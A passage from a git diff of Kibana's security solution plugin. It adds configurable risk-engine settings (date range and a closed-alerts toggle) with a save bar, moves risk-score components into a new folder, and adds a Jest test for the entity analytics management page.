    - - {state.showBar && ( - - - - - dispatch({ type: 'discardChanges' })} - > - {i18n.DISCARD_CHANGES} - - - - - {i18n.SAVE_CHANGES} - - - - - - )} - - ); -}; diff --git a/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/risk_score_management/hooks/risk_score_configurable_risk_engine_settings_hooks.ts b/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/risk_score_management/hooks/risk_score_configurable_risk_engine_settings_hooks.ts new file mode 100644 index 0000000000000..ccc4106ac9dda --- /dev/null +++ b/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/risk_score_management/hooks/risk_score_configurable_risk_engine_settings_hooks.ts @@ -0,0 +1,145 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import { useMutation, useQuery, useQueryClient } from '@tanstack/react-query'; +import { useCallback, useEffect, useState } from 'react'; +import { useAppToasts } from '../../../../common/hooks/use_app_toasts'; +import { useEntityAnalyticsRoutes } from '../../../api/api'; +import { useConfigureSORiskEngineMutation } from '../../../api/hooks/use_configure_risk_engine_saved_object'; +import * as i18n from '../../../translations'; + +export interface RiskScoreConfiguration { + includeClosedAlerts: boolean; + range: { + start: string; + end: string; + }; +} + +const settingsAreEqual = ( + first?: Partial, + second?: Partial +) => { + return ( + first?.includeClosedAlerts === second?.includeClosedAlerts && + first?.range?.start === second?.range?.start && + first?.range?.end === second?.range?.end + ); +}; + +const riskEngineSettingsWithDefaults = (riskEngineSettings?: Partial) => ({ + includeClosedAlerts: riskEngineSettings?.includeClosedAlerts ?? false, + range: { + start: riskEngineSettings?.range?.start ?? 'now-30d', + end: riskEngineSettings?.range?.end ?? 'now', + }, +}); + +const FETCH_RISK_ENGINE_SETTINGS = ['GET', 'FETCH_RISK_ENGINE_SETTINGS']; + +export const useInvalidateRiskEngineSettingsQuery = () => { + const queryClient = useQueryClient(); + + return useCallback(async () => { + await queryClient.invalidateQueries(FETCH_RISK_ENGINE_SETTINGS, { + refetchType: 'active', + }); + }, [queryClient]); +}; + +export const useConfigurableRiskEngineSettings = () => { + const { addSuccess } = useAppToasts(); + + const { fetchRiskEngineSettings } = useEntityAnalyticsRoutes(); + + const [selectedRiskEngineSettings, setSelectedRiskEngineSettings] = useState< + RiskScoreConfiguration | undefined + >(undefined); + + const invalidateRiskEngineSettingsQuery = useInvalidateRiskEngineSettingsQuery(); + + const { + data: savedRiskEngineSettings, + isLoading: isLoadingRiskEngineSettings, + isError, + } = useQuery( + FETCH_RISK_ENGINE_SETTINGS, + async () => { + const riskEngineSettings = await fetchRiskEngineSettings(); + setSelectedRiskEngineSettings((currentValue) => { + return currentValue ?? riskEngineSettingsWithDefaults(riskEngineSettings); + }); + return riskEngineSettings; + }, + { retry: false, refetchOnWindowFocus: false } + ); + + useEffect(() => { + // An error case, where we set the selection to default values, is a legitimate and expected part of this flow, particularly when a configuration has never been saved. + if (isError) { + setSelectedRiskEngineSettings(riskEngineSettingsWithDefaults()); + } + }, [isError]); + + const resetSelectedSettings = () => { + setSelectedRiskEngineSettings(riskEngineSettingsWithDefaults(savedRiskEngineSettings)); + }; + + const { mutateAsync: mutateRiskEngineSettingsAsync } = useConfigureSORiskEngineMutation(); + + const saveSelectedSettingsMutation = useMutation(async () => { + if (selectedRiskEngineSettings) { + await mutateRiskEngineSettingsAsync( + { + includeClosedAlerts: selectedRiskEngineSettings.includeClosedAlerts, + range: { + start: selectedRiskEngineSettings.range.start, + end: selectedRiskEngineSettings.range.end, + }, + }, + { + onSuccess: () => { + addSuccess(i18n.RISK_ENGINE_SAVED_OBJECT_CONFIGURATION_SUCCESS, { + toastLifeTimeMs: 5000, + }); + }, + } + ); + await invalidateRiskEngineSettingsQuery(); + } + }); + + const setSelectedDateSetting = ({ start, end }: { start: string; end: string }) => { + setSelectedRiskEngineSettings((prevState) => { + if (!prevState) return undefined; + return { ...prevState, ...{ range: { start, end } } }; + }); + }; + + const toggleSelectedClosedAlertsSetting = () => { + setSelectedRiskEngineSettings((prevState) => { + if (!prevState) return undefined; + return { ...prevState, ...{ includeClosedAlerts: !prevState.includeClosedAlerts } }; + }); + }; + + const selectedSettingsMatchSavedSettings = settingsAreEqual( + selectedRiskEngineSettings, + riskEngineSettingsWithDefaults(savedRiskEngineSettings) + ); + + return { + savedRiskEngineSettings, + selectedRiskEngineSettings, + selectedSettingsMatchSavedSettings, + resetSelectedSettings, + setSelectedDateSetting, + toggleSelectedClosedAlertsSetting, + saveSelectedSettingsMutation, + isLoadingRiskEngineSettings, + }; +}; diff --git a/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/risk_score_management/risk_score_configuration_section.tsx b/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/risk_score_management/risk_score_configuration_section.tsx new file mode 100644 index 0000000000000..9a27e572610eb --- /dev/null +++ b/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/risk_score_management/risk_score_configuration_section.tsx @@ -0,0 +1,65 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import React from 'react'; +import { + EuiSuperDatePicker, + EuiText, + EuiFlexGroup, + EuiFlexItem, + EuiLoadingSpinner, + EuiSwitch, + EuiSpacer, + useEuiTheme, +} from '@elastic/eui'; +import * as i18n from '../../translations'; +import { getEntityAnalyticsRiskScorePageStyles } from './risk_score_page_styles'; +import type { RiskScoreConfiguration } from './hooks/risk_score_configurable_risk_engine_settings_hooks'; + +export const RiskScoreConfigurationSection = ({ + selectedRiskEngineSettings, + setSelectedDateSetting, + toggleSelectedClosedAlertsSetting, +}: { + selectedRiskEngineSettings: RiskScoreConfiguration | undefined; + setSelectedDateSetting: ({ start, end }: { start: string; end: string }) => void; + toggleSelectedClosedAlertsSetting: () => void; +}) => { + const { euiTheme } = useEuiTheme(); + const styles = getEntityAnalyticsRiskScorePageStyles(euiTheme); + + if (!selectedRiskEngineSettings) return ; + return ( + <> + + + + + + + + + + + +

    {i18n.RISK_ENGINE_INCLUDE_CLOSED_ALERTS_DESCRIPTION}

    +
    + + ); +}; diff --git a/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/risk_score_enable_section.tsx b/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/risk_score_management/risk_score_enable_section.tsx similarity index 75% rename from x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/risk_score_enable_section.tsx rename to x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/risk_score_management/risk_score_enable_section.tsx index 98076b6a26d7f..a4461bb0baf4d 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/risk_score_enable_section.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/risk_score_management/risk_score_enable_section.tsx @@ -18,15 +18,17 @@ import { EuiCallOut, EuiAccordion, } from '@elastic/eui'; -import type { RiskEngineStatus } from '../../../common/api/entity_analytics/risk_engine/engine_status_route.gen'; -import { RiskEngineStatusEnum } from '../../../common/api/entity_analytics/risk_engine/engine_status_route.gen'; -import * as i18n from '../translations'; -import { useRiskEngineStatus } from '../api/hooks/use_risk_engine_status'; -import { useInitRiskEngineMutation } from '../api/hooks/use_init_risk_engine_mutation'; -import { useEnableRiskEngineMutation } from '../api/hooks/use_enable_risk_engine_mutation'; -import { useDisableRiskEngineMutation } from '../api/hooks/use_disable_risk_engine_mutation'; -import { useAppToasts } from '../../common/hooks/use_app_toasts'; -import type { RiskEngineMissingPrivilegesResponse } from '../hooks/use_missing_risk_engine_privileges'; +import type { UseMutationResult } from '@tanstack/react-query'; +import type { RiskEngineStatus } from '../../../../common/api/entity_analytics/risk_engine/engine_status_route.gen'; +import { RiskEngineStatusEnum } from '../../../../common/api/entity_analytics/risk_engine/engine_status_route.gen'; +import * as i18n from '../../translations'; +import { useRiskEngineStatus } from '../../api/hooks/use_risk_engine_status'; +import { useInitRiskEngineMutation } from '../../api/hooks/use_init_risk_engine_mutation'; +import { useEnableRiskEngineMutation } from '../../api/hooks/use_enable_risk_engine_mutation'; +import { useDisableRiskEngineMutation } from '../../api/hooks/use_disable_risk_engine_mutation'; +import { useAppToasts } from '../../../common/hooks/use_app_toasts'; +import type { RiskEngineMissingPrivilegesResponse } from '../../hooks/use_missing_risk_engine_privileges'; +import { useInvalidateRiskEngineSettingsQuery } from './hooks/risk_score_configurable_risk_engine_settings_hooks'; const MIN_WIDTH_TO_PREVENT_LABEL_FROM_MOVING = '50px'; const toastOptions = { @@ -93,7 +95,7 @@ const RiskEngineStatusRow: React.FC<{ > - + - + ); }; export const RiskScoreEnableSection: React.FC<{ privileges: RiskEngineMissingPrivilegesResponse; -}> = ({ privileges }) => { + selectedSettingsMatchSavedSettings: boolean; + saveSelectedSettingsMutation: UseMutationResult; +}> = ({ privileges, selectedSettingsMatchSavedSettings, saveSelectedSettingsMutation }) => { const { addSuccess } = useAppToasts(); const { data: riskEngineStatus, isFetching: isStatusLoading } = useRiskEngineStatus(); + const invalidateRiskEngineSettingsQuery = useInvalidateRiskEngineSettingsQuery(); + const initRiskEngineMutation = useInitRiskEngineMutation({ - onSuccess: () => { + onSuccess: async () => { + await invalidateRiskEngineSettingsQuery(); addSuccess(i18n.RISK_ENGINE_TURNED_ON, toastOptions); }, }); @@ -133,19 +140,23 @@ export const RiskScoreEnableSection: React.FC<{ const currentRiskEngineStatus = riskEngineStatus?.risk_engine_status; const isLoading = + saveSelectedSettingsMutation.isLoading || initRiskEngineMutation.isLoading || enableRiskEngineMutation.isLoading || disableRiskEngineMutation.isLoading || privileges.isLoading || isStatusLoading; - const onSwitchClick = () => { + const onSwitchClick = async () => { if (!currentRiskEngineStatus || isLoading) { return; } if (currentRiskEngineStatus === RiskEngineStatusEnum.NOT_INSTALLED) { - initRiskEngineMutation.mutate(); + if (!selectedSettingsMatchSavedSettings) { + await saveSelectedSettingsMutation.mutateAsync(); + } + await initRiskEngineMutation.mutateAsync(); } else if (currentRiskEngineStatus === RiskEngineStatusEnum.ENABLED) { disableRiskEngineMutation.mutate(); } else if (currentRiskEngineStatus === RiskEngineStatusEnum.DISABLED) { diff --git a/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/risk_score_page_styles.tsx b/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/risk_score_management/risk_score_page_styles.tsx similarity index 100% rename from x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/risk_score_page_styles.tsx rename to x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/risk_score_management/risk_score_page_styles.tsx diff --git a/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/risk_score_preview_section.tsx b/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/risk_score_management/risk_score_preview_section.tsx similarity index 84% rename from x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/risk_score_preview_section.tsx rename to x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/risk_score_management/risk_score_preview_section.tsx index b802a9978a915..b8297bb9dde87 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/risk_score_preview_section.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/risk_score_management/risk_score_preview_section.tsx @@ -22,21 +22,21 @@ import { } from '@elastic/eui'; import type { BoolQuery } from '@kbn/es-query'; import { FormattedMessage } from '@kbn/i18n-react'; -import type { EntityType } from '../../../common/entity_analytics/types'; -import { EntityTypeToIdentifierField } from '../../../common/entity_analytics/types'; -import type { EntityRiskScoreRecord } from '../../../common/api/entity_analytics/common'; -import { RISK_SCORE_INDEX_PATTERN } from '../../../common/entity_analytics/risk_engine'; +import type { EntityType } from '../../../../common/entity_analytics/types'; +import { EntityTypeToIdentifierField } from '../../../../common/entity_analytics/types'; +import type { EntityRiskScoreRecord } from '../../../../common/api/entity_analytics/common'; +import { RISK_SCORE_INDEX_PATTERN } from '../../../../common/entity_analytics/risk_engine'; import { RiskScorePreviewTable } from './risk_score_preview_table'; -import * as i18n from '../translations'; -import { useRiskScorePreview } from '../api/hooks/use_preview_risk_scores'; -import { SourcererScopeName } from '../../sourcerer/store/model'; -import { useSourcererDataView } from '../../sourcerer/containers'; -import type { RiskEngineMissingPrivilegesResponse } from '../hooks/use_missing_risk_engine_privileges'; -import { userHasRiskEngineReadPermissions } from '../common'; -import { EntityIconByType } from './entity_store/helpers'; -import { useIsExperimentalFeatureEnabled } from '../../common/hooks/use_experimental_features'; -import { useDataViewSpec } from '../../data_view_manager/hooks/use_data_view_spec'; -import { useEntityAnalyticsTypes } from '../hooks/use_enabled_entity_types'; +import * as i18n from '../../translations'; +import { useRiskScorePreview } from '../../api/hooks/use_preview_risk_scores'; +import { SourcererScopeName } from '../../../sourcerer/store/model'; +import { useSourcererDataView } from '../../../sourcerer/containers'; +import type { RiskEngineMissingPrivilegesResponse } from '../../hooks/use_missing_risk_engine_privileges'; +import { userHasRiskEngineReadPermissions } from '../../common'; +import { EntityIconByType } from '../entity_store/helpers'; +import { useIsExperimentalFeatureEnabled } from '../../../common/hooks/use_experimental_features'; +import { useDataViewSpec } from '../../../data_view_manager/hooks/use_data_view_spec'; +import { useEntityAnalyticsTypes } from '../../hooks/use_enabled_entity_types'; interface IRiskScorePreviewPanel { showMessage: React.ReactNode; hideMessage: React.ReactNode; diff --git a/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/risk_score_preview_table.tsx b/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/risk_score_management/risk_score_preview_table.tsx similarity index 84% rename from x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/risk_score_preview_table.tsx rename to x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/risk_score_management/risk_score_preview_table.tsx index f22e886faea12..9d6b63e44af29 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/risk_score_preview_table.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/risk_score_management/risk_score_preview_table.tsx @@ -9,11 +9,11 @@ import React from 'react'; import { EuiInMemoryTable } from '@elastic/eui'; import type { EuiBasicTableColumn } from '@elastic/eui'; import { FormattedMessage } from '@kbn/i18n-react'; -import type { EntityRiskScoreRecord } from '../../../common/api/entity_analytics/common'; -import type { RiskSeverity } from '../../../common/search_strategy'; -import { RiskScoreLevel } from './severity/common'; -import { EntityDetailsLink } from '../../common/components/links'; -import type { EntityType } from '../../../common/entity_analytics/types'; +import type { EntityRiskScoreRecord } from '../../../../common/api/entity_analytics/common'; +import type { RiskSeverity } from '../../../../common/search_strategy'; +import { RiskScoreLevel } from '../severity/common'; +import { EntityDetailsLink } from '../../../common/components/links'; +import type { EntityType } from '../../../../common/entity_analytics/types'; type RiskScoreColumn = EuiBasicTableColumn & { field: keyof EntityRiskScoreRecord; diff --git a/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/risk_score_management/risk_score_save_bar.tsx b/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/risk_score_management/risk_score_save_bar.tsx new file mode 100644 index 0000000000000..e7ee89d56a8ca --- /dev/null +++ b/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/risk_score_management/risk_score_save_bar.tsx @@ -0,0 +1,41 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import React from 'react'; +import { EuiButton, EuiFlexGroup, EuiFlexItem, EuiBottomBar, EuiButtonEmpty } from '@elastic/eui'; +import * as i18n from '../../translations'; + +export const RiskScoreSaveBar: React.FC<{ + resetSelectedSettings: () => void; + saveSelectedSettings: () => void; + isLoading: boolean; +}> = ({ resetSelectedSettings, saveSelectedSettings, isLoading }) => { + return ( + + + + + {i18n.DISCARD_CHANGES} + + + + + {i18n.SAVE_CHANGES} + + + + + ); +}; diff --git a/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/risk_score_useful_links_section.tsx b/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/risk_score_management/risk_score_useful_links_section.tsx similarity index 93% rename from x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/risk_score_useful_links_section.tsx rename to x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/risk_score_management/risk_score_useful_links_section.tsx index d03dea2679c27..395b2c6bfd247 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/risk_score_useful_links_section.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/risk_score_management/risk_score_useful_links_section.tsx @@ -11,8 +11,8 @@ import { LinkAnchor } from '@kbn/security-solution-navigation/links'; import { SecurityPageName } from '@kbn/security-solution-navigation'; import styled from '@emotion/styled'; import { euiThemeVars } from '@kbn/ui-theme'; -import * as i18n from '../translations'; -import { RiskInformationFlyout } from './risk_information'; +import * as i18n from '../../translations'; +import { RiskInformationFlyout } from '../risk_information'; const StyledList = styled.ul` list-style-type: disc; diff --git a/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/user_name.tsx b/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/user_name.tsx index 82d3d53bc5a10..9ba0acf1fca88 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/user_name.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/user_name.tsx @@ -14,9 +14,11 @@ import { UserPanelKey } from '../../flyout/entity_details/shared/constants'; interface Props { userName: string | undefined | null; + contextId?: string; + scopeId: string; } -const UserNameComponent: React.FC = ({ userName }) => { +const UserNameComponent: React.FC = ({ userName, scopeId, contextId }) => { const { openFlyout } = useExpandableFlyoutApi(); const openUserDetailsSidePanel = useCallback( @@ -28,11 +30,13 @@ const UserNameComponent: React.FC = ({ userName }) => { id: UserPanelKey, params: { userName, + contextID: contextId, + scopeId, }, }, }); }, - [openFlyout, userName] + [contextId, openFlyout, scopeId, userName] ); if (!userName) { diff --git a/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/pages/entity_analytics_management_page.test.tsx b/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/pages/entity_analytics_management_page.test.tsx new file mode 100644 index 0000000000000..fe0cd0d35e254 --- /dev/null +++ b/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/pages/entity_analytics_management_page.test.tsx @@ -0,0 +1,174 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import React from 'react'; +import { render, screen, fireEvent } from '@testing-library/react'; +import { EntityAnalyticsManagementPage } from './entity_analytics_management_page'; +import { QueryClient, QueryClientProvider } from '@tanstack/react-query'; + +const mockAddSuccess = jest.fn(); +const mockAddError = jest.fn(); +jest.mock('../../common/hooks/use_app_toasts', () => ({ + useAppToasts: () => ({ + mockAddSuccess, + mockAddError, + }), +})); + +jest.mock('../api/api', () => ({ + useEntityAnalyticsRoutes: () => ({ + fetchRiskEngineSettings: () => undefined, + fetchRiskEngineStatus: () => undefined, + }), +})); + +jest.mock('../hooks/use_missing_risk_engine_privileges', () => ({ + useMissingRiskEnginePrivileges: () => ({ isLoading: false, hasAllRequiredPrivileges: true }), +})); + +jest.mock('../api/hooks/use_risk_engine_status', () => ({ + useRiskEngineStatus: () => ({ + data: { + risk_engine_status: 'NOT_INSTALLED', + }, + isFetching: false, + }), +})); + +jest.mock('../api/hooks/use_schedule_now_risk_engine_mutation', () => ({ + useScheduleNowRiskEngineMutation: () => ({ + mutate: () => {}, + }), +})); + +const mockToggleSelectedClosedAlertsSetting = jest.fn(); + +const mockUseConfigurableRiskEngineSettings = jest.fn(); + +jest.mock( + '../components/risk_score_management/hooks/risk_score_configurable_risk_engine_settings_hooks', + () => ({ + useConfigurableRiskEngineSettings: () => mockUseConfigurableRiskEngineSettings(), + }) +); + +jest.mock('../components/risk_score_management/risk_score_enable_section', () => ({ + RiskScoreEnableSection: () => 'Risk score enable section', +})); +jest.mock('../components/risk_score_management/risk_score_useful_links_section', () => ({ + RiskScoreUsefulLinksSection: () => 'Useful links', +})); +const mockRiskScorePreviewSection = jest.fn().mockReturnValue(

    {'Risk score preview'}

    ); +jest.mock('../components/risk_score_management/risk_score_preview_section', () => ({ + RiskScorePreviewSection: (props: never) => mockRiskScorePreviewSection(props), +})); + +describe('EntityAnalyticsManagementPage', () => { + beforeEach(() => { + jest.clearAllMocks(); + mockUseConfigurableRiskEngineSettings.mockReturnValue({ + selectedRiskEngineSettings: { + includeClosedAlerts: false, + range: { + start: 'now-30d', + end: 'now', + }, + }, + savedRiskEngineSettings: { + includeClosedAlerts: false, + range: { + start: 'now-30d', + end: 'now', + }, + }, + selectedSettingsMatchSavedSettings: true, + resetSelectedSettings: () => {}, + saveSelectedSettingsMutation: { + mutateAsync: () => {}, + }, + setSelectedDateSetting: () => {}, + toggleSelectedClosedAlertsSetting: mockToggleSelectedClosedAlertsSetting, + isLoadingRiskEngineSettings: false, + isLoadingSaveSelectedSettings: false, + }); + }); + + const pageComponent = () => ( + + + + ); + + it('has the major sections of the page visible', () => { + render(pageComponent()); + expect(screen.getByText('Entity risk score')).toBeInTheDocument(); + expect(screen.getByText('Risk score enable section')).toBeInTheDocument(); + expect(screen.getByText('Risk score preview')).toBeInTheDocument(); + }); + + it('toggles the save bar when making changes to the closed alerts toggle', () => { + const { rerender } = render(pageComponent()); + + expect(screen.queryByText('Save')).not.toBeInTheDocument(); + + fireEvent.click(screen.getByTestId('includeClosedAlertsSwitch')); + expect(mockToggleSelectedClosedAlertsSetting).toHaveBeenCalled(); + + mockUseConfigurableRiskEngineSettings.mockReturnValue({ + ...mockUseConfigurableRiskEngineSettings(), + selectedSettingsMatchSavedSettings: false, + selectedRiskEngineSettings: { + includeClosedAlerts: true, + range: { + start: 'now-30d', + end: 'now', + }, + }, + }); + rerender(pageComponent()); + expect(screen.getByText('Save')).toBeInTheDocument(); + }); + + it('calls the preview section with the toggle button selection as it changes', () => { + const { rerender } = render(pageComponent()); + + expect(mockRiskScorePreviewSection).toHaveBeenCalledWith({ + from: 'now-30d', + to: 'now', + includeClosedAlerts: false, + privileges: { + hasAllRequiredPrivileges: true, + isLoading: false, + }, + }); + + fireEvent.click(screen.getByTestId('includeClosedAlertsSwitch')); + expect(mockToggleSelectedClosedAlertsSetting).toHaveBeenCalled(); + + mockUseConfigurableRiskEngineSettings.mockReturnValue({ + ...mockUseConfigurableRiskEngineSettings(), + selectedSettingsMatchSavedSettings: false, + selectedRiskEngineSettings: { + includeClosedAlerts: true, + range: { + start: 'now-30d', + end: 'now', + }, + }, + }); + rerender(pageComponent()); + expect(mockRiskScorePreviewSection).toHaveBeenCalledWith({ + from: 'now-30d', + to: 'now', + includeClosedAlerts: true, + privileges: { + hasAllRequiredPrivileges: true, + isLoading: false, + }, + }); + }); +}); diff --git a/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/pages/entity_analytics_management_page.tsx b/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/pages/entity_analytics_management_page.tsx index bd1b9854fed1c..277548b98d80c 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/pages/entity_analytics_management_page.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/pages/entity_analytics_management_page.tsx @@ -12,23 +12,25 @@ import { EuiPageHeader, EuiHorizontalRule, EuiButton, + EuiLoadingSpinner, EuiText, useEuiTheme, } from '@elastic/eui'; import moment from 'moment'; -import { RiskScorePreviewSection } from '../components/risk_score_preview_section'; -import { RiskScoreEnableSection } from '../components/risk_score_enable_section'; +import { RiskScorePreviewSection } from '../components/risk_score_management/risk_score_preview_section'; +import { RiskScoreEnableSection } from '../components/risk_score_management/risk_score_enable_section'; import { ENTITY_ANALYTICS_RISK_SCORE } from '../../app/translations'; import { RiskEnginePrivilegesCallOut } from '../components/risk_engine_privileges_callout'; import { useMissingRiskEnginePrivileges } from '../hooks/use_missing_risk_engine_privileges'; -import { RiskScoreUsefulLinksSection } from '../components/risk_score_useful_links_section'; -import { RiskScoreConfigurationSection } from '../components/risk_score_configuration_section'; +import { RiskScoreUsefulLinksSection } from '../components/risk_score_management/risk_score_useful_links_section'; +import { RiskScoreConfigurationSection } from '../components/risk_score_management/risk_score_configuration_section'; import { useRiskEngineStatus } from '../api/hooks/use_risk_engine_status'; import { useScheduleNowRiskEngineMutation } from '../api/hooks/use_schedule_now_risk_engine_mutation'; import { useAppToasts } from '../../common/hooks/use_app_toasts'; import * as i18n from '../translations'; -import { getEntityAnalyticsRiskScorePageStyles } from '../components/risk_score_page_styles'; -import { useRiskEngineSettings } from '../api/hooks/use_risk_engine_settings'; +import { getEntityAnalyticsRiskScorePageStyles } from '../components/risk_score_management/risk_score_page_styles'; +import { useConfigurableRiskEngineSettings } from '../components/risk_score_management/hooks/risk_score_configurable_risk_engine_settings_hooks'; +import { RiskScoreSaveBar } from '../components/risk_score_management/risk_score_save_bar'; const TEN_SECONDS = 10000; @@ -36,17 +38,23 @@ export const EntityAnalyticsManagementPage = () => { const { euiTheme } = useEuiTheme(); const styles = getEntityAnalyticsRiskScorePageStyles(euiTheme); const privileges = useMissingRiskEnginePrivileges(); - const { data: riskEngineSettings } = useRiskEngineSettings(); - const includeClosedAlerts = riskEngineSettings?.includeClosedAlerts ?? false; - const from = riskEngineSettings?.range?.start ?? 'now-30d'; - const to = riskEngineSettings?.range?.end || 'now'; + const { + savedRiskEngineSettings, + selectedRiskEngineSettings, + selectedSettingsMatchSavedSettings, + resetSelectedSettings, + saveSelectedSettingsMutation, + setSelectedDateSetting, + toggleSelectedClosedAlertsSetting, + isLoadingRiskEngineSettings, + } = useConfigurableRiskEngineSettings(); const { data: riskEngineStatus } = useRiskEngineStatus({ refetchInterval: TEN_SECONDS, structuralSharing: false, // Force the component to rerender after every Risk Engine Status API call }); const currentRiskEngineStatus = riskEngineStatus?.risk_engine_status; const runEngineEnabled = currentRiskEngineStatus === 'ENABLED'; - const [isLoading, setIsLoading] = useState(false); + const [isLoadingRunRiskEngine, setIsLoadingRunRiskEngine] = useState(false); const { mutate: scheduleNowRiskEngine } = useScheduleNowRiskEngineMutation(); const { addSuccess, addError } = useAppToasts(); const userCanRunEngine = @@ -57,10 +65,10 @@ export const EntityAnalyticsManagementPage = () => { false; const handleRunEngineClick = async () => { - setIsLoading(true); + setIsLoadingRunRiskEngine(true); try { scheduleNowRiskEngine(); - if (!isLoading) { + if (!isLoadingRunRiskEngine) { addSuccess(i18n.RISK_SCORE_ENGINE_RUN_SUCCESS, { toastLifeTimeMs: 5000 }); } } catch (error) { @@ -68,7 +76,7 @@ export const EntityAnalyticsManagementPage = () => { title: i18n.RISK_SCORE_ENGINE_RUN_FAILURE, }); } finally { - setIsLoading(false); + setIsLoadingRunRiskEngine(false); } }; @@ -77,7 +85,7 @@ export const EntityAnalyticsManagementPage = () => { const isRunning = status === 'running' || (!!runAt && new Date(runAt) < new Date()); const runEngineBtnIsDisabled = - !currentRiskEngineStatus || isLoading || !userCanRunEngine || isRunning; + !currentRiskEngineStatus || isLoadingRunRiskEngine || !userCanRunEngine || isRunning; const formatTimeFromNow = (time: string | undefined): string => { if (!time) { @@ -103,25 +111,19 @@ export const EntityAnalyticsManagementPage = () => { {/* Controls Section */} - - {/* Run Engine Section */} + {runEngineEnabled && ( <> - {/* Run Engine Button */} {i18n.RUN_RISK_SCORE_ENGINE} - - {/* Vertical Line */} - - {/* Countdown Text */}
    {countDownText} @@ -129,11 +131,11 @@ export const EntityAnalyticsManagementPage = () => {
    )} - - {/* Risk Score Enable Section */} -
    - -
    +
    @@ -142,24 +144,36 @@ export const EntityAnalyticsManagementPage = () => { - - - - - - - - + {!selectedRiskEngineSettings && } + {selectedRiskEngineSettings && ( + <> + + + + + + + + + + )} + {savedRiskEngineSettings && !selectedSettingsMatchSavedSettings && ( + + )} ); }; diff --git a/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/pages/entity_analytics_privileged_user_monitoring_page.tsx b/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/pages/entity_analytics_privileged_user_monitoring_page.tsx index c151b9fd67b68..eb512251c53df 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/pages/entity_analytics_privileged_user_monitoring_page.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/pages/entity_analytics_privileged_user_monitoring_page.tsx @@ -318,7 +318,6 @@ export const EntityAnalyticsPrivilegedUserMonitoringPage = () => { {state.type === 'manageDataSources' && ( )} diff --git a/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/pages/entity_store_management_page.tsx b/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/pages/entity_store_management_page.tsx index 3d70cac276694..54482139fccf9 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/pages/entity_store_management_page.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/pages/entity_store_management_page.tsx @@ -47,7 +47,7 @@ import { } from '../components/entity_store/hooks/use_entity_store'; import { useEntityEnginePrivileges } from '../components/entity_store/hooks/use_entity_engine_privileges'; -import { MissingPrivilegesCallout } from '../components/entity_store/components/missing_privileges_callout'; +import { EntityStoreMissingPrivilegesCallout } from '../components/entity_store/components/entity_store_missing_privileges_callout'; import { EngineStatus } from '../components/entity_store/components/engines_status'; import { useEntityStoreTypes } from '../hooks/use_enabled_entity_types'; import { EntityStoreErrorCallout } from 